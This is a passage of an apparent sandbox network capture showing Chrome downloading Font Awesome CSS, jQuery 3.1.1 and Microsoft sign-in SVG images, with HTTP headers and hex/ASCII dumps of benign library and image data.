2024-05-24 05:54:47 UTC	1369	IN	Data Raw: 33 65 6d 3b 0a 7d 0a 2f 2a 20 44 65 70 72 65 63 61 74 65 64 20 61 73 20 6f 66 20 34 2e 34 2e 30 20 2a 2f 0a 2e 70 75 6c 6c 2d 72 69 67 68 74 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 0a 7d 0a 2e 70 75 6c 6c 2d 6c 65 66 74 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 66 61 2e 70 75 6c 6c 2d 6c 65 66 74 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 2e 33 65 6d 3b 0a 7d 0a 2e 66 61 2e 70 75 6c 6c 2d 72 69 67 68 74 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2e 33 65 6d 3b 0a 7d 0a 2e 66 61 2d 73 70 69 6e 20 7b 0a 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 66 61 2d 73 70 69 6e 20 32 73 20 69 6e 66 69 6e 69 74 65 20 6c 69 6e 65 61 72 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 66 61 2d 73 Data Ascii: 3em;}/* Deprecated as of 4.4.0 */.pull-right { float: right;}.pull-left { float: left;}.fa.pull-left { margin-right: .3em;}.fa.pull-right { margin-left: .3em;}.fa-spin { -webkit-animation: fa-spin 2s infinite linear; animation: fa-s
2024-05-24 05:54:47 UTC	1369	IN	Data Raw: 3a 20 22 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e 3d 30 2c 20 6d 69 72 72 6f 72 3d 31 29 22 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 2d 31 2c 20 31 29 3b 0a 20 20 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 2d 31 2c 20 31 29 3b 0a 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 2d 31 2c 20 31 29 3b 0a 7d 0a 2e 66 61 2d 66 6c 69 70 2d 76 65 72 74 69 63 61 6c 20 7b 0a 20 20 2d 6d 73 2d 66 69 6c 74 65 72 3a 20 22 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e Data Ascii: : "progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)"; -webkit-transform: scale(-1, 1); -ms-transform: scale(-1, 1); transform: scale(-1, 1);}.fa-flip-vertical { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation
2024-05-24 05:54:47 UTC	1369	IN	Data Raw: 68 2d 6c 61 72 67 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 39 22 3b 0a 7d 0a 2e 66 61 2d 74 68 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 61 22 3b 0a 7d 0a 2e 66 61 2d 74 68 2d 6c 69 73 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 62 22 3b 0a 7d 0a 2e 66 61 2d 63 68 65 63 6b 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 63 22 3b 0a 7d 0a 2e 66 61 2d 72 65 6d 6f 76 65 3a 62 65 66 6f 72 65 2c 0a 2e 66 61 2d 63 6c 6f 73 65 3a 62 65 66 6f 72 65 2c 0a 2e 66 61 2d 74 69 6d 65 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 64 22 3b 0a 7d 0a 2e 66 61 2d 73 65 61 72 63 68 2d 70 6c 75 73 3a Data Ascii: h-large:before { content: "\f009";}.fa-th:before { content: "\f00a";}.fa-th-list:before { content: "\f00b";}.fa-check:before { content: "\f00c";}.fa-remove:before,.fa-close:before,.fa-times:before { content: "\f00d";}.fa-search-plus:
2024-05-24 05:54:47 UTC	1369	IN	Data Raw: 6e 74 65 6e 74 3a 20 22 5c 66 30 32 39 22 3b 0a 7d 0a 2e 66 61 2d 62 61 72 63 6f 64 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 61 22 3b 0a 7d 0a 2e 66 61 2d 74 61 67 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 62 22 3b 0a 7d 0a 2e 66 61 2d 74 61 67 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 63 22 3b 0a 7d 0a 2e 66 61 2d 62 6f 6f 6b 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 64 22 3b 0a 7d 0a 2e 66 61 2d 62 6f 6f 6b 6d 61 72 6b 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 65 22 3b 0a 7d 0a 2e 66 61 2d 70 72 69 6e 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 Data Ascii: ntent: "\f029";}.fa-barcode:before { content: "\f02a";}.fa-tag:before { content: "\f02b";}.fa-tags:before { content: "\f02c";}.fa-book:before { content: "\f02d";}.fa-bookmark:before { content: "\f02e";}.fa-print:before { content: "
2024-05-24 05:54:47 UTC	1369	IN	Data Raw: 73 74 65 70 2d 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 38 22 3b 0a 7d 0a 2e 66 61 2d 66 61 73 74 2d 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 39 22 3b 0a 7d 0a 2e 66 61 2d 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 61 22 3b 0a 7d 0a 2e 66 61 2d 70 6c 61 79 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 62 22 3b 0a 7d 0a 2e 66 61 2d 70 61 75 73 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 63 22 3b 0a 7d 0a 2e 66 61 2d 73 74 6f 70 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 64 22 Data Ascii: step-backward:before { content: "\f048";}.fa-fast-backward:before { content: "\f049";}.fa-backward:before { content: "\f04a";}.fa-play:before { content: "\f04b";}.fa-pause:before { content: "\f04c";}.fa-stop:before { content: "\f04d"
2024-05-24 05:54:47 UTC	1369	IN	Data Raw: 65 6e 74 3a 20 22 5c 66 30 36 37 22 3b 0a 7d 0a 2e 66 61 2d 6d 69 6e 75 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 38 22 3b 0a 7d 0a 2e 66 61 2d 61 73 74 65 72 69 73 6b 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 39 22 3b 0a 7d 0a 2e 66 61 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 63 69 72 63 6c 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 61 22 3b 0a 7d 0a 2e 66 61 2d 67 69 66 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 62 22 3b 0a 7d 0a 2e 66 61 2d 6c 65 61 66 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 63 22 3b 0a 7d 0a 2e 66 61 2d 66 69 72 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 Data Ascii: ent: "\f067";}.fa-minus:before { content: "\f068";}.fa-asterisk:before { content: "\f069";}.fa-exclamation-circle:before { content: "\f06a";}.fa-gift:before { content: "\f06b";}.fa-leaf:before { content: "\f06c";}.fa-fire:before {
2024-05-24 05:54:47 UTC	1369	IN	Data Raw: 2e 66 61 2d 74 68 75 6d 62 73 2d 6f 2d 75 70 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 37 22 3b 0a 7d 0a 2e 66 61 2d 74 68 75 6d 62 73 2d 6f 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 38 22 3b 0a 7d 0a 2e 66 61 2d 73 74 61 72 2d 68 61 6c 66 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 39 22 3b 0a 7d 0a 2e 66 61 2d 68 65 61 72 74 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 61 22 3b 0a 7d 0a 2e 66 61 2d 73 69 67 6e 2d 6f 75 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 62 22 3b 0a 7d 0a 2e 66 61 2d 6c 69 6e 6b 65 64 69 6e 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 20 Data Ascii: .fa-thumbs-o-up:before { content: "\f087";}.fa-thumbs-o-down:before { content: "\f088";}.fa-star-half:before { content: "\f089";}.fa-heart-o:before { content: "\f08a";}.fa-sign-out:before { content: "\f08b";}.fa-linkedin-square:before
2024-05-24 05:54:47 UTC	1369	IN	Data Raw: 20 22 5c 66 30 61 36 22 3b 0a 7d 0a 2e 66 61 2d 68 61 6e 64 2d 6f 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 37 22 3b 0a 7d 0a 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 6c 65 66 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 38 22 3b 0a 7d 0a 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 39 22 3b 0a 7d 0a 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 75 70 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 61 22 3b 0a 7d 0a 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 Data Ascii: "\f0a6";}.fa-hand-o-down:before { content: "\f0a7";}.fa-arrow-circle-left:before { content: "\f0a8";}.fa-arrow-circle-right:before { content: "\f0a9";}.fa-arrow-circle-up:before { content: "\f0aa";}.fa-arrow-circle-down:before { conte

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49713	151.101.66.137	443	5556	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:54:47 UTC	586	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:54:47 UTC	564	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 24 May 2024 05:54:47 GMT Age: 2664750 X-Served-By: cache-lga21947-LGA, cache-ewr18181-EWR X-Cache: HIT, HIT X-Cache-Hits: 1589, 195 X-Timer: S1716530087.279045,VS0,VE0 Vary: Accept-Encoding
2024-05-24 05:54:47 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2024-05-24 05:54:47 UTC	16384	IN	Data Raw: 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 74 26 26 28 73 26 26 28 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6b 5b 61 5d 3d 5b 77 2c 74 5d 29 2c 6d 3d 3d 3d 62 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 74 2d 3d 65 2c 74 3d 3d 3d 64 7c 7c 74 25 64 3d 3d 3d 30 26 26 74 2f 64 3e 3d 30 7d 7d 7d 2c 50 53 45 55 44 4f 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 65 3d 64 2e 70 73 65 75 64 6f 73 5b 61 5d 7c 7c 64 2e 73 65 74 46 69 6c 74 65 72 73 5b 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 67 61 2e 65 72 72 6f 72 28 22 75 6e 73 75 70 70 6f 72 74 65 64 20 70 73 65 75 64 6f 3a 20 22 2b 61 29 3b 72 65 74 Data Ascii: ===m.nodeType)&&++t&&(s&&(l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d\|\|t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]\|\|d.setFilters[a.toLowerCase()]\|\|ga.error("unsupported pseudo: "+a);ret
2024-05-24 05:54:47 UTC	16384	IN	Data Raw: 64 3d 31 2c 55 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 62 7c 7c 28 62 3d 7b 7d 2c 54 28 61 29 26 26 28 61 2e 6e 6f 64 65 54 79 70 65 3f 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 62 3a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 61 2c 74 68 69 73 2e 65 78 70 61 6e 64 6f 2c 7b 76 61 6c 75 65 3a 62 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 29 29 2c 62 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 2c 65 3d 74 68 69 73 2e 63 61 63 68 65 28 61 29 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 29 65 5b 72 2e 63 61 6d 65 6c 43 61 73 65 Data Ascii: d=1,U.prototype={cache:function(a){var b=a[this.expando];return b\|\|(b={},T(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase
2024-05-24 05:54:47 UTC	16384	IN	Data Raw: 65 26 26 39 21 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 28 74 68 69 73 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 61 29 7d 29 7d 2c 6e 75 6c 6c 2c 61 2c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7d 2c 61 70 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 31 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 29 7b 76 61 72 20 62 3d 44 61 28 74 68 69 73 2c 61 29 3b 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 7d 29 7d 2c 70 72 65 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 Data Ascii: e&&9!==this.nodeType\|\|(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ia(this,arguments,function(a){if(1===this.nodeType\|\|11===this.nodeType\|\|9===this.nodeType){var b=Da(this,a);b.appendChild(a)}})},prepend:function(){return Ia(
2024-05-24 05:54:47 UTC	16384	IN	Data Raw: 73 2e 73 65 6c 65 63 74 65 64 3d 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 62 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 6e 75 6c 6c 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 62 26 26 28 62 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 29 7d 7d 29 2c 72 2e 65 61 63 68 28 5b 22 74 61 62 49 6e 64 65 78 22 2c 22 72 65 61 64 4f 6e 6c 79 22 2c 22 6d 61 78 4c 65 6e 67 74 68 22 2c 22 63 65 6c 6c 53 70 61 63 Data Ascii: s.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpac
2024-05-24 05:54:47 UTC	4789	IN	Data Raw: 3d 62 2e 6a 73 6f 6e 70 21 3d 3d 21 31 26 26 28 52 62 2e 74 65 73 74 28 62 2e 75 72 6c 29 3f 22 75 72 6c 22 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 2e 64 61 74 61 26 26 30 3d 3d 3d 28 62 2e 63 6f 6e 74 65 6e 74 54 79 70 65 7c 7c 22 22 29 2e 69 6e 64 65 78 4f 66 28 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 29 26 26 52 62 2e 74 65 73 74 28 62 2e 64 61 74 61 29 26 26 22 64 61 74 61 22 29 3b 69 66 28 68 7c 7c 22 6a 73 6f 6e 70 22 3d 3d 3d 62 2e 64 61 74 61 54 79 70 65 73 5b 30 5d 29 72 65 74 75 72 6e 20 65 3d 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 29 3f 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 Data Ascii: =b.jsonp!==!1&&(Rb.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType\|\|"").indexOf("application/x-www-form-urlencoded")&&Rb.test(b.data)&&"data");if(h\|\|"jsonp"===b.dataTypes[0])return e=b.jsonpCallback=r.isFunction(b.jsonpCallback)?b.jsonpCallb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49711	13.107.213.45	443	5556	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:54:47 UTC	622	OUT	GET /shared/1.0/content/images/picker_verify_call_fe87496cc7a44412f7893a72099c120a.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:54:47 UTC	806	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:54:47 GMT Content-Type: image/svg+xml Content-Length: 1173 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:39 GMT ETag: 0x8D79B83749623C9 x-ms-request-id: 3d039a65-001e-0076-2548-aded92000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240524T055447Z-16f669959b48rlqc0asfrraqqn000000065g000000004zah x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-24 05:54:47 UTC	1173	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 56 cb 6e 24 37 0c fc 95 c1 e4 da ad 69 52 d4 2b b0 0d 4c 4e 39 ac 6f 41 0e b9 35 b2 b3 1e 03 8e bd b3 6e 78 f6 f3 53 14 a5 de 6c dc 86 dd 25 5b d4 83 2a 16 29 dd bc be 3d ec be ff f3 f4 fc 7a bb 3f 2f cb d7 5f 0f 87 eb f5 ea ae de bd 7c 7b 38 f0 34 4d 07 8c d8 ef ae 8f 9f 97 f3 ed 5e f2 7e 77 3e 3d 3e 9c 17 fb fb ed f1 74 fd ed e5 fb ed 7e da 4d 3b c9 f8 dd df dd 2c 8f cb d3 e9 6e 7e 7d 3d 2d af 37 07 fb ef e6 db e9 ef e5 a3 55 be 3c 3e 3d dd ee 9f 5f 9e 4f fb c3 dd cd d7 79 39 ef 3e df ee ef fd e4 84 79 e0 e2 a6 c2 b3 77 52 fc 60 38 e1 87 06 72 9e c5 71 24 f4 fa dc b1 db c8 b3 4b 52 2e ce c7 58 bf cc c9 a5 14 16 57 a4 b8 1c e4 e2 24 67 27 22 e8 20 57 3c cf c5 95 24 83 a1 2d e3 32 95 81 8e 18 12 68 30 34 83 4f 83 17 97 7c Data Ascii: uVn$7iR+LN9oA5nxSl%[*)=z?/_\|{84M^~w>=>t~M;,n~}=-7U<>=_Oy9>ywR`8rq$KR.XW$g'" W<$-2h04O\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49712	13.107.213.45	443	5556	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:54:47 UTC	621	OUT	GET /shared/1.0/content/images/picker_verify_sms_27a6d18b56f46818420e60a773c36d4e.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:54:47 UTC	805	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:54:47 GMT Content-Type: image/svg+xml Content-Length: 199 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:39 GMT ETag: 0x8D79B8374CE7F93 x-ms-request-id: 97cf711a-501e-0057-711f-ad57a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240524T055447Z-16f669959b45zjq5vq1eccxs68000000061g000000000rs0 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-24 05:54:47 UTC	199	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 8f bd ae c2 30 0c 85 5f 25 32 6b d5 38 3f 88 80 92 0e 77 ea 00 6b 87 bb 21 08 4d a4 d2 22 62 35 3c fe 4d 2e 62 44 b6 e4 63 fb d3 b1 6c d3 3a b2 d7 7d 9a 93 83 40 f4 38 70 9e 73 6e b3 6a 97 e7 c8 25 22 f2 42 00 cb f1 4a c1 81 36 c0 82 8f 63 a0 b7 5e a3 cf 3f cb cb 01 32 64 da 94 84 ce 52 a4 c9 77 e7 94 3c 25 cb df 9d 7d fa 0b 7d 73 b9 c5 69 72 30 2f b3 07 de d9 c7 99 02 bb 3a 38 29 d3 28 1c 84 ec 05 0e 0a 83 5e 75 bb dd 99 a3 30 b5 94 55 af cc 49 c8 46 c9 de 0c 02 7b 5d a8 c2 ee 5b 2d e5 b1 ce ff d5 ef c7 7e a3 b1 46 bd 50 5f ea fe 00 a3 0d 47 ef fa 00 00 00 Data Ascii: u0_%2k8?wk!M"b5<M.bDcl:}@8psnj%"BJ6c^?2dRw<%}}sir0/:8)(^u0UIF{][-~FP_G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49715	13.107.213.45	443	5556	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
